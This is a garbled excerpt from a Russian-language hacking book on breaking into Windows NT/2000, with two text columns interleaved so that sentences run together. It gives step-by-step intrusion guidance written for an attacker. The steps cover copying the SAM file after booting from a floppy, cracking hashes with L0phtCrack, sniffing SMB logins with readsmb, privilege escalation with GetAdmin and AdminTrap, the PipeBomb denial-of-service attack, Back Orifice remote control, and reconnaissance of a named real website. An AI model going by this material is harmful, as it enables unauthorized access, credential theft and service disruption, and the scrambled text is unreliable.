Эти три составляющие очень тесно связаны между собой, поэтому Основные принципы взлома защиты мы последовательно рассмотрим их. Приведенные ниже способы пре сетевых операционных систем Windows NT одоления защиты этих трех уровней помогут понять сам принцип взлома системы. Кроме того, хакерские инструменты первого и второго уровня и Windows часто могут помочь взломщику компьютерных систем, если он работает удаленно через Internet.

В этой части мы изложим основные принципы взлома защиты се тевых операционных систем Windows NT и Windows 2000.

Сделаем небольшое отступление. Необходимо понять один про стой принцип. Все течет, все изменяется, и на любые каверзы хакеров Почему нами выбрана группа операционных систем Windows умные программеры и системные администраторы придумают свои пре NT/2000? Семейство операционных систем Windows NT/2000 (в даль поны и защиты. Но принцип взлома они победить не смогут, ибо что нейшем просто Windows NT, т.к. Windows 2000 является по своей сути один человек сделал, другой завсегда разобрать сможет. А те программы, пятой версией NT) имеет богатейшие возможности работы с конфигура которыми необходимо пользоваться, могут устареть, или те конкретные цией операционной среды, поддерживает устаревшее программное обес дыры в защите, описанные в этой главе, через некоторое время будут за печение для операционных систем DOS, Windows 3.xx/95/98, что влечет латаны песочно безэшным Билли... Начнем с простого.

за собой возможность с большей вероятностью найти в защите системы слабое место. Всегда надо помнить принцип: Обычно ломается лифт, а не лестница. Следовательно, чем проще, тем надежней.

Глава 2.

Вторая причина, почему мы остановили свой выбор на семействе Физический доступ к компьютеру Windows NT — из за популярности этих систем и распространенности их в мире. С одной стороны, украсть информацию из Windows NT/2000 за Что такое физический доступ к компьютеру? Это значит, что вы труднительно, т.к сложность похищения информации вызвана, конечно, имеете доступ к компьютеру, на котором находится интересующая вас не безупречностью TCP/IP стека Windows NT, а его убогостью и отсут информация. Причем доступ этот физический, т.е. вы можете подойти к ствием в стандартной поставке сетевых демонов и крайне ограниченным этой машине, потрогать ее ручками. Желательно, чтобы трогание ручка набором клиентских утилит (host, nslookup, talk и т.д.). Хакеры со всех ми было воспринято окружающими без эмоций, а лучше вообще не вос концов света обратили на нее свое внимание и, естественно, нашли и на принято, т.е. вы там частый гость, или лучший друг своего недруга (зачем ходят прорехи в системе безопасности Windows NT.

друзей подставлять), или.., ну в общем, вы — ужас, летящий на крыльях ночи, никем не замеченный. Вот что значит физический доступ.

Методы взлома, изложенные здесь, будут доступны для хакера невысокой квалификации. Те программы или средства, которые потре Сначала немного общеобразовательных моментов.

буются для подрыва защиты и проникновения в систему, можно свобод В семействе операционных систем Windows NT реализована воз но найти на страницах Internet`а. Кроме того, еще не все системные ад можность контроля за локальным доступом (т.е. доступом к локальному министраторы осознали необходимость комплексного подхода при диску, винту, если так понятнее). Реализуется эта возможность с помо защите информации для сетей под Windows NT. Обычно затраты на со щью новой (по сравнению с FAT) файловой системой NTFS на основе хранность ценностей составляют от 10 до 30% от их стоимости. Но как Взлом Microsoft Windows 2000 129 130 Взлом Microsoft Windows расширений файловой системы. Вообще то Windows NT поддерживает В том случае, если информация зашифрована с помощью ка две системы — FAT и NTFS. Поэтому мы рассмотрим способ взлома сна кой либо программы, то самый простой способ — это найти ключ, спо чала для FAT. соб потруднее — его отгадать. А вот если установлено аппаратное шиф рование, то тут без ключа никак не обойтись. Ключ может быть Самый простой и надежный — загрузка с дискеты и копирование программный, выносной (на внешнем носителе) и комбинированный.

данных на ZIP дисковод. Таким образом, вам становится доступной вся У нас в России распространены шифрующие контроллеры дисков серии та часть информации, которая хранится с помощью FAT. Но такую халя КРИПТОН, имеющие сертификат ФАПСИ.

ву вам вряд ли когда подсунут. Скорее всего, придется повозиться с NTFS. Вот тут и начинается наша песня. Если вам удалось получить физический доступ к информации на машине, то вы приступаете к следующей стадии взлома системы, а имен NTFS используют всегда, когда требуется защитить информацию но к получению паролей пользователей системы и/или прав администра и распределить доступ к ней. Но вот беда — все это работает только при тора. Существует такой файл SAM, в нем хранятся учетные записи поль работе под Windows NT. А вот если вам удастся загрузить MS DOS с дис зователей и их пароли. Получить к нему доступ возможно, загрузившись кеты, то любая информация из разделов, работающих под NTFS, может с дискеты и скопировав этот файл. Сам файл располагается в каталоге быль считана с помощью драйвера NTSFDOS.EXE (автор — Mark WINNT\SYSTEM32\CONFIG\. Когда Windows NT запущена и работает, Russinovich, поклон ему земной). И никакая система безопасности доступ к файлу SAM, который располагается в директории WINNT\SYS Windows NT тут не поможет, ну, кроме злобного сисадмина, который с TEM32\CONFIG\, имеет только администратор, но файл можно скопи дубинкой дежурил бы рядом. Но, естественно, нужен дисковод. Если его ровать, загрузившись с системной дискеты.

нет, а такое может быть, или он каким то образом вам не доступен, и та кое может быть тоже, знать, не судьба — надо искать другой способ. Если вам удалось заполучить файл SAM, то для взлома вы можете использовать программу L0PHTCrack. Найти ее возможно в поисковой Ну, вот вы незаметно загрузились с дискеты, запустили программ системе Rambler.ru или AltaVista. Ниже приведено более подробное опи ку NTSFDOS.EXE и обнаруживаете, что ничего не видите или видите, но сание данной программы.

понять или прочесть не можете. А это значит, что сисадмин оказался чуть чуть умнее, чем мы предполагали, и зашифровал информацию на Для того чтобы избежать просмотра паролей, их подвергают хэши диске посредством программных или аппаратных средств. Зашифровать рованию. Но, как известно, что зашифровали, то расшифровать можно.

он ее мог или средствами какой либо посторонней программы (аппара Хотя хэширование имеет одну неприятность: для восстановления пароля та), или с помощью Windows NT (такая возможность уже появилась в надо перебрать все возможные значения. А, следовательно, существует Windows 2000). Так как мы в этой главе освещаем методы взлома Windows пропорциональная зависимость между временем, требуемым для де NT, то про методы взлома систем шифрования мало чего скажем. Мы хэширования, длиной пароля и количеством применяемых символов.

просто перечислим некоторые из них:

Стандартно программы ограничивают длину пароля до 13 16 сим SeNTry2020 (http://www.softwinter.com);

волов, хотя Windows NT поддерживает до 128 символов. Еще одна хит рость в том, что файл SAM содержит два хэшированных представления SecurityPlus (http://www.softbytelabs.com);

одного и того же пользовательского пароля, полученные с помощью раз Cryptext (http://www.tip.net.au/~njpayne). ных алгоритмов. Один из них — в стандарте Windows NT, другой — в стандарте LAN Manager. Вообще стандарт LAN Manager применяют для А если вдруг объектом вашего внимания стала машина, находяща того, чтобы добиться совмещения с другими ОС, установленными на ра яся на госпредприятии или на предприятии, на котором размещен госза бочих станциях, например: Windows 3.11 for Workgroups и Windows 95/98.

каз, то можно однозначно определить, что используемая там система Вот то, о чем мы писали выше: всевозможные достоинства можно обра шифрования — «Верба OW» (http://www.security.ru), которая сертифи тить в недостатки, ведь хэшированный пароль стандарта LAN Manager цирована ФАПСИ. Конечно, это может быть и не эта система шифрова слабо устойчив к взлому, так как каждая из двух половин 14 байтового ния, но обязательно сертифицированная ФАПСИ. А таких систем не так символьного пароля хэшируется независимо, а результаты затем соеди уж много. Да и список таких систем можно легко узнать, так как нет луч няются. Таким образом, вычисление 14 байтового пароля эквивалентно шей рекламы для продажи, чем сертификат ФАПСИ.

взлому двух 7 байтовых паролей, что значительно сокращает число воз Взлом Microsoft Windows 2000 131 132 Взлом Microsoft Windows можных комбинаций для перебора. По этой причине, если вы будете Глава 4.

взламывать пароль, то сначала займитесь паролем, захэшированным по Программа L0phtCrack стандарту LAN Manager.

Существующая программа L0phtCrack, работающая на Pentium Программа L0phtCrack позволяет вычислять пароли, используя II 450, может вскрыть пароль любой длины, как спелый арбуз, примерно два различных метода. При использовании первого метода применяется за трое суток (ниже мы рассмотрим работу этой утилиты подробнее).

поисковая словарная таблица, которую определяет специальный файл Обычно наивные администраторы защищаются с помощью утилиты словаря. Хэшированные пароли для всех слов в файле словаря уже явля SYSKEY, входящей в состав Service Pack 3. SYSKEY позволяет дополни ются вычисленными и сравниваются со всеми паролями для пользовате тельно зашифровать данные в SAM, после чего программы извлечения и лей данной SAM. Когда имеется соответствие — пароль известен. Этот восстановления паролей не смогут корректно обрабатывать информа метод чрезвычайно быстр. Тысячи пользователей могут быть проверены цию из этого файла. Это надо учитывать. Но помните — все течет, все из при помощи 300 КБ файла словаря всего за несколько минут на обычном меняется, и последняя версия программы L0phtCrack позволяет пробить PII. Недостаток этого метода состоит в том, что при помощи словаря и дополнительное шифрование этой утилиты.

можно определить только очень простые пароли, которые существуют в английском языке (словарный запас которого не превышает 100 тыс.

слов).

Глава 3.

Для открытия словаря word english вам необходимо выполнить Извлечение и вскрытие текстовых паролей команду «File» (Файл) «Open Wordlist File» (Открыть словарь).

из украденной SAM Второй метод использует последовательный перебор набора сим волов типа A Z или A Z и 0 9 (и также других наборов) и вычисляет хэш Рассмотрим взлом SAM файла более подробно, углубимся в дета для каждого возможного пароля для этих символов. Единственный недо ли… Итак, как было сказано ранее, информация обо всех пользователях статок данного метода — время. Данный метод использует интенсивный Windows NT/2000 и их паролях хранится в базе данных системы (registry), перебор значений, что требует больших вычислительных мощностей.

которая физически расположена в файле %SystemRoot%\SYSTEM32\ Чем больший набор символов вы указали в меню «Tools» (Сервис) CONFIG\SAM — базе данных безопасности системы. Данный файл яв «Оptions» (Параметры), тем дольше времени требуется для перебора всех ляется по умолчанию заблокированным, т.к. используется прочими ком значений.

понентами системы. Поэтому вам не удастся напрямую скопировать этот файл. Однако, если администратор системы регулярно выполняет опера Набор символов A Z требует приблизительно 7 часов вычислений цию создания диска ERD (Emergency Repair Disk), то относительно све на 600 герцовых процессорах PIII или Athlon. Представьте себе, что через жая копия данного файла содержится в директории %SystemRoot%\ какие нибудь 7 часов вы будете иметь ключи от системы и будете эдаким REPAIR\. Но если администратор системы не выполнял данную опера маленьким богом, местного значения или не местного, как повезет.

цию, то полученная база будет содержать пользователей Administrator и Набор A Z и 0 9 требует приблизительно трое суток.

Guest, с паролями, присвоенными во время инсталляции операционной системы. Пароли в данном файле хранятся в 16 байтном значении, за Однако программа L0phtCracks разработана с учетом возможно шифрованном (в кодировке UNICODE) с использованием хэш алгорит сти интенсивных и долговременных вычислений и может использовать ма MD4. Поэтому для взлома паролей Windows NT/2000 вам необходимо преимущества многопроцессорных систем. Если вы не хотите, чтобы выделить из базы данных безопасности системы имя пользователя и со программа присутствовала в панели задач, выберите в меню «Window» ответствующее ему хэш значение. Данная процедура может быть выпол (Окно) «Hide, Ctrl+Alt+L to Show» (Спрятать, для вывода на экран на нена с использованием программного обеспечения, доступного через жмите Ctrl+Alt+L).

Internet и описанного ниже.

При запуске данной программы на многопроцессорном сервере она будет выполняться низким приоритетом, используя вычислительные возможности неактивного центрального процессора. Программа регу Взлом Microsoft Windows 2000 133 134 Взлом Microsoft Windows лярно, через каждые пять минут, сохраняет результаты вычислений, что Однако сервер Windows NT/2000 может запретить попытку досту позволяет восстанавливать состояние вычислений в случаях отключения па к системному реестру по сети, если сконфигурирован надлежащим питания или перезагрузок. образом.

Открытие файла, с которым программа работала до перезагрузки Кроме того, если версия Windows NT/2000 локализована, для можно из меню «File» (Файл) «Оpen Password File» (Открыть файл па группы «Administrator» используется переведенное на другой язык слово, ролей). например для русского языка «Администратор». Для того, чтобы програм ма L0phtCrack корректно обратилась к дампу системного реестра удален ного компьютера, вам необходимо изменить ключ системного реестра на Инсталляция вашем локальном компьютере. Для этого запустите программу regedit.exe Для инсталляции просто разархивируйте дистрибутивный архив в и отредактируйте значение ключа HKEY_CURRENT_USER\Software\ любой каталог на жестком диске. Создайте ярлык к программе l0pht LHI\L0phtCrack\AdminGroupName.

crack.exe (или l0phtcrack95.exe для Windows 95/98). Кроме того, если вы физически подключены к данной локальной сети и используете Присвойте значению этого ключа название группы «Administrator» Windows NT 4.0 (или Window 2000), вы можете использовать сетевой для локализованной версии Windows NT (2000).

sniffer readsmb.exe, при помощи которого можно получить пароли кли ентских машин Windows 3.11/95/95 и MS DOS. Перед использованием Получение хэшированных паролей из файла SAM сетевого sniffer'а необходимо предварительно установить сетевой NDIS Вы можете получить хэшированные пароли из файла SAM на драйвер, который входит в дистрибутивный комплект. Этот драйвер мо жестком диске, с резервной ленты или дискеты ERD (Emergency Repair жет работать только поверх драйвера реально присутствующей в систе Disk). Системный реестр NT фактически сохранен в нескольких различ ме сетевой Ethernet платы и использует протокол CSMA CD. Для ных файлах на системном диске в каталоге %SystemRoot%\SYS установки NDIS драйвера откройте апплет «Network» (Сеть) в панели TEM32\CONFIG\. Если вы имеете физический доступ к компьютеру с управления. На вкладке «Protocols» (Протоколы) нажмите кнопку «Add» установленной операционной системой Windows NT/2000, вы можете (Добавить). Затем нажмите кнопку «Have Disk» (Установить с диска) и загрузить машину при помощи системной дискеты DOS и использовать определите каталог, в который вы установили L0phtCrack и в котором программу типа NTFSDOS (http://www.ntinternals.com/ntfs20r), чтобы находится файл Oemsetup.inf. После перезагрузки вы сможете использо скопировать файл SAM на гибкий диск. Затем вы можете использовать вать сетевой sniffer readsmb.exe для перехвата паролей клиентских ма команду программы L0phtCrack «Import SAM File» (Импорт SAM фай шин Windows.

ла), которая расположена в меню «File» (Файл), чтобы извлечь хэширо ванный пароль из файла SAM. Если вы работаете с компьютером Получение хэшированных паролей Windows NT (2000) удаленно, то вам остается только воспользоваться ре Перед вычислением паролей необходимо получить доступ к хэши зервной копией базы SAM, которая хранится в каталоге рованным паролям. Существуют три основных метода получения хэши %SystemRoot%\REPAIR\. Кроме того, если у вас имеется возможность рованных паролей: непосредственно из системного реестра, из файла получить доступ к кассетам стримера, на который производится еже SAM или при помощи сетевого sniffer'а.

дневный backup или к дискетам ERD, то вы можете скопировать файл SAM оттуда. Если вам удалось использовать дискету ERD, скопируйте оттуда сжатый файл sam._ и затем выполните команду:

Получение хэшированных паролей непосредственно из реестра EXPAND SAM._ SAM Если вы обладаете административными привилегиями, вы можете Затем разжатый файл sam._ может импортироваться в L0phtCrack.

получить хэшированные пароли, используя команду «Tools» (Сервис) Однако если администратор системы установил Service Pack 3 for «Dump Password from Registry» (Получить дамп пароля из реестра). Для NT 4.0 и использует утилиту SYSKEY для дополнительной криптоустой этого укажите имя компьютера или адрес IP в формате \\Computer_name чивой шифрации файлов реестра, то программа L0phtCrack (это справед или \\IP address.

ливо для версий более ранних, чем L0phtCrack 2.5) не сможет произвес ти импорт файла SAM.

Взлом Microsoft Windows 2000 135 136 Взлом Microsoft Windows Использование сетевого sniffer'а для получения Новые возможности L0phtCrack 2. хэшированных паролей Увеличение быстродействия на 450% за счет оптимизированного ассемблерного кода для Pentium, Если администратор системы использует утилиту SYSKEY и вам Pentium MMX, Pentium Pro и Pentium II и III. Это отказано в доступе к системному реестру по сети, имеется третий метод приводит к увеличению быстродействия. Все для получения хэшированных паролей. Для этого используется сетевой алфавитно цифровые пароли могут быть найдены за трое sniffer, который выполняет прослушивание и отбор пакетов для всех ус суток на Pentium II/450.

тройств в физическом сегменте Ethernet сети.

Новый гибридный метод расшифровки объединяет самые Сетевой sniffer, включенный с L0phtCrack, реализован в виде фай лучшие качества словарного и метода прямого подбора.

ла readsmb.exe, который работает только в Windows NT 4.0 (в последней версии программы реализован сетевой sniffer для Windows 95/98).

Возможность подключения национальных словарей.

Для запуска сетевого sniffer'а следует использовать команду:

Реализация сетевого SMB sniffer'а для операционных READSMB > PASSWD систем Windows 95/98.

Как вы видите из данной команды, вся информация, полученная Встроенная утилита PWDUMP2, которая позволяет сетевым sniffer'ом, будет перенаправляться в текстовый файл passwd. Для произвести извлечение хэшированных паролей из файла сбора всех хэшированных паролей пользователя достаточно запустить SAM, зашифрованного при помощи утилиты SYSKEY из sniffer один раз утром, в период времени, когда большинство пользовате SP3.

лей приходит на работу и производит регистрацию в сети. Затем вы мо Утилита PWDUMP2 http://www.webspan.net/~tas/pwdump2/ поз жете прервать работу этой программы и открыть файл passwd воляет получить список хэшированных паролей даже в системе с вклю в L0phtCrack.

ченной утилитой SYSKEY. Данная программа может функционировать, Для включения режима отладки sniffer'а используйте команду v:

если только пользователь, ее запустивший, имеет привилегию «Отладка READSMB V программ» и является членом группы Administrators. Кроме того, данная утилита может использоваться в том случае, если с атакуемой системы На медленных машинах v опция может приводить к тому, что удалось получить копию базы данных безопасности системы.

readsmb будет пропускать некоторые пакеты, так что эта опция действи тельна только для отладки и исследования.

Получение паролей Windows NT при помощи PWL файлов.

Выделение паролей из хэша Если вы получили доступ к клиентским компьютерам Windows После того, как вы получили набор хэшированных паролей и за 3.11/95/98, которые функционируют в локальной сети, вы можете грузили их в программу L0phtCrack, а также открыли словарь word eng узнать пароль системного администратора или других бюджетов в доме lish, вы можете приступить к вычислению настоящих текстовых паролей.

не Windows NT косвенным образом. Для этого необходимо собрать все Для начала этой операции выполните команду «Run» (Запуск) из меню доступные *.PWL файлы, которые располагаются в системных катало «Tools» (Сервис).

гах Windows 3.11/95/98. Для расшифровки этих файлов вы можете ис пользовать программу repwl.exe, которую можно найти по адресу Опции, установленные в диалоговом окне «Tools Options» по http://webdon.com /vitas/pwltool.htm.

умолчанию, определяют, что сначала будет произведено вычисление па ролей при помощи словаря word english. Затем будет производится опре Это одна из лучших программ для вычисления паролей из деление паролей при помощи последовательного перебора заданных PWL файлов, которая почти мгновенно может вычислить любой пароль.

значений, что требует уже более длительного времени. L0phtCrack сохра Открыв при помощи кнопки «Browse» (Пролистать) PWL файл, няет состояние вычислений каждые 5 минут в *.LC файл.

выберите в списке нужный набор символов и затем нажмите кнопку «Search Password» (Поиск пароля). Найденные таким образом пароли Взлом Microsoft Windows 2000 137 138 Взлом Microsoft Windows помогут вам затем получить доступ к главному доменному серверу Глава 6.

Windows NT.

Использование Named Pipe File System Но помните, что для более совершенной защиты системные адми нистраторы, которые посообразительней, могут не ограничиться приме Named Pipe File System является виртуальной файловой системой, нением специальных утилит, но могут установить вручную еще более же которая не управляет файлами, а управляет каналами named pipes. Кана сткие права на объекты файловой системы. В частности, за лы named pipes относятся к классу файловых объектов вместе с файлами, рекомендациями по установке таких ограничений они могут обратиться дисковыми директориями, устройствами и почтовыми ящиками (mail по адресу: http://www.microsoft.com/ntserver/security/exec/overview/ slots). Поэтому большинство функций, предназначенных для работы с Secure_NTInstall.asp файлами (в том числе CreateFile, ReadFile и WriteFile), работает и с кана лами. Канал named pipes представляет собой виртуальное соединение, по Соответственно там же можно искать и противоядие от их мощ которому передается информация от одного процесса к другому. Инфор ной защиты.

мация может передаваться как в одну сторону (однонаправленный канал), К счастью, у дяди Билли работают еще такие люди, которые могут так и в обе стороны (двунаправленный или дуплексный канал). Создание совершить ошибку, и благодаря таким людям мы можем проникнуть в виртуального канала в Windows NT происходит следующим образом:

систему через те дыры, которые они нам предоставляют. В частности, од Серверный процесс создает канал на локальном ной из таких дыр является возможность повысить свой уровень привиле компьютере с помощью функции программного гий и войти в группу администраторов, а потом… Достигается это с по интерфейса Win32 «CreateNamedPipe».

мощью программы GetAdmin.exe (автор — Константин Соболев).

Правда, в Service Pack 4 возможность эта устранена, но рискнуть стоит.

Серверный процесс активизирует канал при помощи Идея, заложенная в ней, довольно таки проста и гениальна. Системные функции «ConnectNamedPipe», после чего к каналу могут процессы в NT работают, как правило, под System Account, а значит, подключаться клиенты.

имеют на локальном рабочем месте администраторские права. Делайте Далее производится подключение к каналу вывод. Но, к сожалению, Billy сработал оперативно, в SP4 это уже зала \\computer_name\pipe\pipe_name посредством вызова тали. Но не стоит отчаиваться: кто ищет, тот всегда найдет.

функции «CreateFile».

Клиентский процесс может отключиться от канала в любой мо Глава 5.

мент с помощью функции «CloseHandle». Серверный процесс может от Доступ в локальной сети ключить клиента в любой момент с помощью функции «DisconnectNa medPipe».

Если вы получили полный доступ к одной из рабочих станций После прекращения связи с клиентом серверный процесс может в локальной или глобальной сети домена, вы можете использовать недо повторно использовать канал с помощью повторного вызова функции статочность защиты сетевых соединений серверов Windows NT. Слабая «ConnectNamedPipe».

защита сетевых соединений приводит к тому, что, используя специали зированное программное обеспечение, вы сможете завесить сервер При помощи одного и того же канала сервер может одновременно Windows NT («отказ в обслуживании») или даже получить права админи обслуживать нескольких клиентов. Для этого серверный процесс может стратора путем перехвата административных сетевых соединений. Для создать N ное количество экземпляров канала, вызвав N ное количество этого применяются следующие виды атак:

раз функцию «CreateNamedPipe» (при этом в каждом вызове должно быть указано одно и то же имя канала).

Использование Named Pipe File System.

Если канал имеет несколько экземпляров, клиент может быть Использование средств удаленного управления подключен к любому свободному (не занятому другим клиентом) эк земпляру этого канала.

Взлом Microsoft Windows 2000 139 140 Взлом Microsoft Windows После установления виртуального соединения серверный процесс Эту атаку можно применять через Internet, инкапсулируя пакеты и клиентский процесс могут обмениваться информацией при помощи SMB в пакеты TCP/IP (сетевая составляющая интерфейса Named Pipe пар функций «ReadFile» и «WriteFile». Если один участник информаци File System организована как надстройка над протоколом SMB).

онного обмена записывает данные в канал при помощи функции «WriteFile», то другой участник может прочитать, используя функцию Глава 8.

«ReadFile».

Программа AdminTrap Интерфейс Named Pipe File System широко используется операци онной системой Windows NT для множества задач, некоторые из кото Программа AdminTrap производит создание троянского экземпля рых играют важную роль в обеспечении безопасности операционной си ра одного из системных каналов и ждет, когда к нему подключится кли стемы. Например, удаленный вызов процедур (RPC) в Windows NT ент. Затем AdminTrap выполняет вызов функции Win32 «ImpersonateNa реализован как надстройка над NPFS.

medPipeClient», которая назначает маркер доступа (access token) клиента Однако в смысле защиты информации и устойчивости программ экземпляра канала, handle серверного конца которого указан в качестве интерфейс Named Pipe File System может использован для взлома или вы параметра функции. Если выполнение функции прошло успешно, один ведения из строя операционной системы. Ниже приведены две програм из потоков программы AdminTrap получает полномочия пользовате мы PipeBomb и AdminTrap, которые используют непродуманность реали ля клиента троянского экземпляра канала.

зации Named Pipe File System.

Вероятность того, что программа AdminTrap после вызова «Imperso nateNamedPipeClient» получит полномочия администратора, весьма вели ка, если случайно удастся перехватить следующие сетевые соединения:

Глава 7.

winreg — удаленное управление реестром, списком Программа PipeBomb сервисов, репликацией и административными Прикладная программа PipeBomb производит открытие на запись оповещениями (alerts), удаленный просмотр системных в вечном цикле новых экземпляров определенного системного канала и журналов, удаленное диагностирование и оценка записывает в них порции бесполезной информации. Через довольно ко производительности;

роткий промежуток времени все свободные экземпляры канала будут за spoolss — удаленное управление принтером.

няты, после чего серверный процесс определяет, что все экземпляры его канала заняты, после чего начинает создавать новые экземпляры канала.

После запуска программа ожидает подключения администратора.

Каждый новый экземпляр канала обслуживается новым потоком Когда администратор начнет выполнять одну из административ (thread), под который отводится новый буфер в оперативной памяти для ных операций, сетевое соединение администратора перехватывается, хранения информации. Клиентский процесс постоянно открывает но программа выдает на экран окно, содержащее имя и список привилегий вые экземпляры канала, поэтому серверному процессу приходится со этого администратора, и предлагает осуществить создание нового поль здавать новые потоки. Это приводит к максимальной загрузке процессо зователя с именем AdminTrap, который входит в группу «Administrators».

ра сервера, а объем свободной оперативной памяти этого компьютера быстро уменьшается. Через несколько минут атакованный компьютер Глава 9.

становится практически неработоспособным. Данная программа одина ково эффективно работает для атак как на рабочие станции, так и на сер Использование средства удаленного вера Windows NT 4.0. Для начала атаки необходимо запустить программу управления Back Oriffice PipeBomb и в поле ввести имя атакуемого компьютера.

Затем следует нажать кнопку «Create» (Создать) или «Write» (За Программа Back Orifice (дословный перевод — задний проход) яв писать), после чего любой сервер Windows NT будет завешен в течение ляется еще одним средством взлома серверов Windows NT и удаленного двух минут.

управления ими через Internet. BO2K состоит из клиентской, серверной Взлом Microsoft Windows 2000 141 142 Взлом Microsoft Windows части и утилит, позволяющих добавлять некоторые новые функции Кроме того, данная утилита используется для добавления к основ и производить настройку серверной части. ному запускаемому модулю bo2k.exe дополнительных возможностей, ко торые реализованы в виде Plugins DLL.

Данное программное обеспечение может работать на компьюте рах с установленными операционными системами Windows 95/ и Windows NT.

Глава 10.

Клиентская часть BO2K (файл bo2kgui.exe) используется на ком Удаленный взлом Windows NT через Internet пьютере хакера и позволяет получить доступ к машине с установленной серверной части по протоколам TCP или UPD по порту 31337.

Самым трудным взломом Windows NT считается удаленный взлом через Internet. В самом начале у атакующего отсутствует вообще ка Обычно перед внедрением серверной части (размер 120 Кб) про кая либо информация, кроме имени хоста и его IP адреса. Если на уда изводится сканирование подсети и выявление конкретного IP адреса.

ленном сервере работает Web сервер, вы тоже сразу же сможете интуи Затем серверная часть запускается на сервере при помощи любого ло тивно определить, с какой операционной системой вы имеете дело. Для кального бюджета. Хакер, используя клиентскую часть, может выпол этого следует, используя браузер, провести исследование страничек и от нять следующие действия:

рытых для просмотра каталогов Web сервера. Для Web серверов IIS производить редактирование реестра;

3.0/4.0/5.0, которые являются продуктами Microsoft и работают исклю чительно под Windows NT, характерны следующие особенности:

осуществлять полный контроль над файловой системой Web страницы имеют расширения *.htm, *.asp;

страницы имеют коди через браузер;

ровку Win1253, а не KOI8 R (для русскоязычных страниц) и прочие кос получать информацию о введенных паролях;

венные признаки.

просматривать текущее состояние экрана на сервере;

Кроме того, следует тщательно просмотреть структуру каталогов документов и скриптов. Каталоги документов, в которых отсутствуют просматривать сетевые ресурсы, подключенные к серверу;

файлы index.htm, покажут вам полный список файлов и расположенных управлять системными процессами;

ниже директорий. Случайно бродя по Internet`у, вы можете случайно на ткнуться на такой Web сервер новостей штата Айдахо: http://www.ida выполнять удаленную перезагрузку;

honews.com/, который полностью соответствует описанным критериям.

удаленно выполнять программы с возможностью Но самое смешное то, что у этого сервера открыты для просмотра ката перенаправления консоли на компьютер хакеру. логи скриптов scripts и cgi bin.

Перед внедрением серверная часть конфигурируется при помощи Если каталоги скриптов scripts и cgi bin открыты для просмотра, то Мастера конфигурирования BO2K Configuration Wizard (файл bo2kcfg.exe). этот сервер — просто находка для опытного хакера. Используя браузер, Мастер BO2K Configuration Wizard позволяет выбрать файл сервера BO2K удаленный клиент может запускать любые файлы из этих директорий на (bo2k.exe) и задать пароль, который затем будет использоваться для досту Web сервере. Остается каким либо способом загрузить одну из про па по сети. Кроме того, мастер позволяет выбрать порт для IP соедине грамм, описанных раннее, в каталоги скриптов scripts и cgi bin. Для это ния, метод шифрования соединений между клиентом и сервером. Вам не го исследуем открытые каталоги более подробно.

обходимо указать, какой сетевой модуль будет использоваться в Как вы можете видеть, открытый каталог cgi bin позволил нам по IP соединениях TCP или UPD. TCP соединения обычно используются лучить информацию о том, что данный сервер Windows NT использует для организации управления через сеть Internet. UPD соединения приме язык Perl. Используя обычный браузер, вы можете скачать все скрипты няются для работы в ЛВС.

из этих директорий и произвести их анализ на получение различного ро да информации об удаленном сервере. Кроме того, в каталоге cgi bin на ходится подкаталог MSWin32 x86 object. Войдем в него и просмотрим его содержимое.

Взлом Microsoft Windows 2000 143 144 Взлом Microsoft Windows Как мы видим, подкаталог MSWin32 x86 object содержит инстал впечатление, что данный сервер уже ломали раннее, т.к., лированную версию языка Perl 5.0, а также сам дистрибутив Perl возможно, эти файлы были загружены на сервер хакерами.

5.00502.exe. Затем скачаем из этой директории файл регистрации ошибок Затем можно просканировать данный хост на наличие открытых PerlIS Err.log:

портов и, следовательно, сервисов, на нем установленных. Для сканиро *** 'E:\docs' error message at: 1998/11/24 13:23: вания портов вы можете использовать следующие сканеры портов Can't open perl script "E:\docs": Permission denied Windows:

*** 'E:\docs' error message at: 1998/12/25 04:49: 7th Sphere PortScan v1. Can't open perl script "E:\docs": Permission denied *** 'E:\docs' error message at: 1999/03/26 16:05: All Around Internet Can't open perl script "E:\docs": Permission denied Ogre v0.9b *** 'E:\docs' error message at: 1999/09/08 11:39: Can't open perl script "E:\docs": Permission denied Port Scanner v1. *** 'E:\docs' error message at: 1999/09/08 11:58: PortScan Plus Can't open perl script "E:\docs": Permission denied *** 'E:\docs\idaho8' error message at: 1999/10/25 13:51: SiteScan by Rhino9/Intercore Can't open perl script "E:\docs\idaho8": Permission denied TCP Port Scanner Конечно, данный журнальный файл дает не слишком много ин формации, кроме той, что основные документы расположены на диске UltraScan v1.2.

E: в каталоге docs, и также Perl.exe использовался раннее для неудачных Данные утилиты вы можете получить со страницы http://208.234.

попыток проникновения в систему. Затем следует просмотреть докумен 248.19:81/hack/genar/archive5.html. Наиболее полезным и простым ска тацию в сети Internet по ошибкам и дырам в реализации Perl 5.0 для нером портов является Ogre v0.9b (Rhino9). Другие сканеры портов под Windows NT и, исходя из этого, произвести анализ находящихся в ката Windows или UNIX вы сможете отыскать при определенном упорстве логах scripts и cgi bin *.pl скриптов.

в сети Internet.

Производим просмотр каталога scripts.

Утилита Ogre обеспечивает взломщика эффективным инструмен Открытый каталог scripts дает нам следующую информацию:

том для сбора информации об уязвимых местах для серверов Windows NT и прочих хостов Internet.

Подкаталог /scripts/centralad/ содержит средства для централизованного администрирования какой то Ogre позволяет выполнить ряд тестов для выбранной подсети информационной системы.

класса C и проверить хосты на известные дыры в операционных систе мах Windows 95 и Windows NT, а также в установленном программном Подкаталог scripts/iisadmin/ содержит HTML версию для обеспечении. Утилита Ogre позволяет:

администрирования Web сервера IIS, которая очень может пригодиться при взломе системы.

Определить активные хосты в данной подсети класса C;

Подкаталог scripts/tools/ содержит различные утилиты для Просмотреть выявленные хосты, чтобы определить IIS.

доступные удаленные службы и порты, по которым к ним можно обратиться;

Файл General.mdb — файл базы данных Microsoft Access, говорит о том, что, возможно, на сервере установлена Получить информацию относительно состояния netbios СУБД MS Access;

(Nbtstat);

Файлы PASSWRD2.EXE и PASSWRD2.CPP имеют очень Просмотреть доступные сетевые ресурсы, выделенные странное имя PASSWRD2.*, которое напоминает один в совместное использование (net view);

из известных хакерских инструментов. Создается Взлом Microsoft Windows 2000 145 146 Взлом Microsoft Windows Port 80: Closed Проверить существование серверных расширений Port 110: Closed Microsoft Frontpage;

Port 111: Closed Проверить присутствие в системе средства Port 139: Closed администрирования HTML для IIS;

Port 443: Closed Port 1080: Closed Проверить существование индексированных по Port 8181: Closed умолчанию документов Index Server.

Scanning — 198.60.102. Глава 11.

====================== *Inactive IP address* Использование утилиты Ogre для проверки подсети сервера новостей штата Айдахо Scanning — 198.60.102. ====================== Перед использованием этой утилиты необходимо получить IP ад *Inactive IP address* рес сервера http://www.idahonews.com/.

Scanning — 198.60.102. Для этого выполним команду ping www.idahonews.com:

